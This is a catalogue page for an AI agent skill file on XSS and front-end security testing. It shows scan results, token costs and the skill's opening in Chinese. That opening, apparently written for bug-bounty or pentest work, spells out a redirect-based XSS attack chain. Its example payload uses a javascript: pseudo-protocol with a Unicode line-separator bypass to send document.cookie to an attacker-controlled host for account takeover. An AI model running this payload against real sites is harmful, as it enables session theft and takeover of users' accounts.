Borrowing it
Nothing to install: this file belongs to zhaji2333/CkSKILLS. Take a copy, put it at the same path in your own repository, and replace the rules that are about this project with yours.
curl -O https://raw.githubusercontent.com/zhaji2333/CkSKILLS/main/.agents/skills/xss-frontend-security/SKILL.mdgit clone --depth 1 https://github.com/zhaji2333/CkSKILLSWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/zhaji2333/ckskills/xss-frontend-security)<a href="https://agentmods.dev/skills/zhaji2333/ckskills/xss-frontend-security"><img src="https://agentmods.dev/badge/skills/zhaji2333/ckskills/xss-frontend-security/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/zhaji2333/ckskills/xss-frontend-security"><img src="https://agentmods.dev/badge/skills/zhaji2333/ckskills/xss-frontend-security.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 2 findings, up to medium
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- medium Tool Misuse · line 3 Tool defaults are unsafe or overly permissive (e.g. disabled TLS verification, no authentication, world-writable permissions). Unsafe defaults widen the attack surface.Fix: Override unsafe defaults with secure settings (verify=True, auth required, restrictive permissions). Review and harden all tool configurations.
- medium Tool Misuse · line 3 Tool defaults are unsafe or overly permissive (e.g. disabled TLS verification, no authentication, world-writable permissions). Unsafe defaults widen the attack surface.Fix: Override unsafe defaults with secure settings (verify=True, auth required, restrictive permissions). Review and harden all tool configurations.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00191 | $0.04315 |
| Opus 5 | $0.00096 | $0.02158 |
| Sonnet 5 | $0.00038 | $0.00863 |
| Haiku 4.5 | $0.00019 | $0.00432 |
Grade A, and why
xss-frontend-security scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 11d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
How it starts
The opening of the file, as written. The whole thing — 224 lines — stays where its author put it; the contents beside it link to each section on GitHub.
xss-frontend-security — XSS 与前端安全专项深度挖掘
何时调用(触发条件)
- 🔴 优先:跳转型 XSS——中间跳转页、登录回跳、SSO 回调、分享/邀请链接、支付回调、扫码登录回跳,任何
target/redirect类参数驱动的location跳转点,第一时间测试(见「三、跳转型 XSS 专项」) - 评论、留言、昵称、签名、富文本、私信、工单等存储型输入点
- AI 对话/分享页:marked/markdown-it 渲染 + innerHTML 无净化、AI 输出原样入库再回显(见「四、AI / Markdown 渲染型存储 XSS 专项」)
- 搜索框、报错页、参数反射
- 前端 DOM 操作:location、hash、innerHTML、document.write、eval
- postMessage 消息处理、iframe 嵌套
- 跨域配置:Access-Control-Allow-Origin、CORS 预检
- 敏感操作无 Token/Referer 校验(CSRF)
一、漏洞类型全景
| 类型 | 场景 | 修复 |
|---|---|---|
| D1. 反射型/存储型XSS | 搜索、评论、富文本 | 输出编码、CSP |
| D2. DOM XSS | location/hash/postMessage | 安全DOM API |
| D3. Clickjacking | iframe嵌套 | X-Frame-Options |
| D4. CORS错误配置 | *+凭证 |
严格白名单 |
| D5. 跳转型XSS(优先) | target/redirect 参数驱动 location 跳转、伪协议执行 | 协议+Host 白名单、HttpOnly |
| D6. AI/Markdown 渲染型存储XSS | AI 输出/聊天记录经 marked 渲染写 innerHTML 无净化 | DOMPurify 净化、服务端清洗、CSP |
二、内容/社交类场景表(存储型重点)
| 场景 | 漏洞类型 | 挖掘要点 |
|---|---|---|
| 评论/留言 | 存储XSS/CSRF | 富文本过滤不严、HTML标签逃逸 |
| 私信/聊天 | XSS/越权查看聊天记录 | 消息ID遍历、会话鉴权缺失 |
| 用户昵称/签名 | 存储XSS/SQL注入 | 特殊字符未过滤、后台展示触发 |
| 文章/帖子发布 | XSS/SSRF(远程图片) | Markdown解析、外链加载 |
| @提及/通知 | 用户枚举/消息轰炸 | @任意用户、批量触发通知 |
| 举报/投诉 | 信息泄露/XSS | 举报详情含敏感信息、客服后台触发XSS |
| 分享/邀请链接 | 链接可遍历/信息泄露 | 分享token可预测、权限过大 |
存储型 XSS 的关键:受害者视角(客服后台、管理员预览、其他用户打开)决定危害等级。
三、跳转型 XSS 专项(🔴 优先测试)
3.0 为什么优先
中间跳转页 / 登录回跳信任任意 target 参数 → 开放重定向很常见,但多数测试者测到 http 跳转就停手。升级为 javascript: 伪协议执行 = 官方域同源 XSS,可读 Cookie / 会话接管 / 钓鱼,危害翻数倍。
攻击模型一句话:官方中间页信任任意 target → 伪协议 + Unicode 行分隔符绕过 → 同源 JS 执行 → 读取非 HttpOnly 会话 Cookie → 外带至攻击者服务器 → 会话接管 → 读取订单/地址/个人数据。
完整攻击链(ATT&CK 视角):
- 构造恶意链接:
https://目标域/中间页?target=javascript://官方域/<U+2028>void(location='https://收票域/?c='+encodeURIComponent(document.cookie))//https:// - 诱导已登录用户点击(1-click)
- 浏览器在目标官方域下执行 JS → 读取
document.cookie(含 serviceToken 等会话票) - 整页导航到攻击者收票域 → Cookie 拼入 URL 外带
- 攻击者在干净浏览器写入 Cookie → 直接访问业务接口 → 接管账号
3.1 入口排查(JS 审计第一步)
- 正则扫 JS bundle 的 location 赋值点:
location.href =、location.replace()、location.assign()、window.open()、location.hash、window.location = - 赋值右侧来源:
URLSearchParams(location.search).get(...)、getQueryString、decodeURIComponent(...)、路由/状态参数 - 参数名黑名单:
target / redirect / redirect_uri / returnUrl / back / next / url / uri / link / goto / jump / to / callback / service / continue / forward - 高发位置:登录回跳、SSO 回调、分享邀请、支付回调、扫码登录、邮件/短信激活链接、跨端中间页(Taro 的 taro-middle、uni-app 的 redirect 页)——跨端逻辑常直接把参数透传给 location
- 前端框架注意:Vue/React router query、Taro.navigateTo/redirectTo、小程序参数透传
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 11d ago First seen · 224 lines · 191 tokens per session scan A 24f6368ff402
xss-frontend-security is a skill published in the GitHub repository zhaji2333/CkSKILLS (80 stars, last pushed 10d ago), licensed MIT. It adds 191 tokens to every session and 4,315 once invoked, about $0.0010 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
Other skills, from other repositories
web-design-engineer
Build or redesign polished browser-rendered visual artifacts with HTML/CSS/JavaScript/React: pages, dashboards, prototypes, slide decks, animations, UI mockups, and data visualizations. Use for visual front-end creation, design-system exploration, design critique, or explicit browser acceptance / QA of a web artifact.…
beautiful-article
A tool for turning source material—such as a web page, PDF, DOCX, Markdown file, text, screenshot, or pasted content—into a single offline HTML article.
gpt-image-2
A skill for generating or editing images with GPT Image 2 across local, host-provided, or advisory setups.
personal-website
Generate a beautiful personal homepage (linktree-style) and publish it online for the user. Reads user info from /.clacky/agents/USER.md and AI info from /.clacky/agents/SOUL.md. Returns a public URL the user can share. Trigger on: "profile card", "homepage", "personal page", "generate my card", "make my card"…
winui-design
Use when designing, reviewing, or fixing WinUI 3: sample and control discovery with winapp find-ui, layout planning, control choice, Fluent Design alignment, Light/Dark/High Contrast theming, typography, spacing, brushes, accessibility, and XAML data-binding design. Load before authoring new XAML, reviewing UI PRs…
winui-wpf-migration
Migrate WPF applications to WinUI 3 — namespace replacement (System.Windows → Microsoft.UI.Xaml), control mapping (DataGrid→ListView, WrapPanel→ItemsRepeater, TabControl→TabView), threading (Dispatcher→DispatcherQueue), imaging (System.Drawing→BitmapImage), MVVM conversion to CommunityToolkit.Mvvm, and…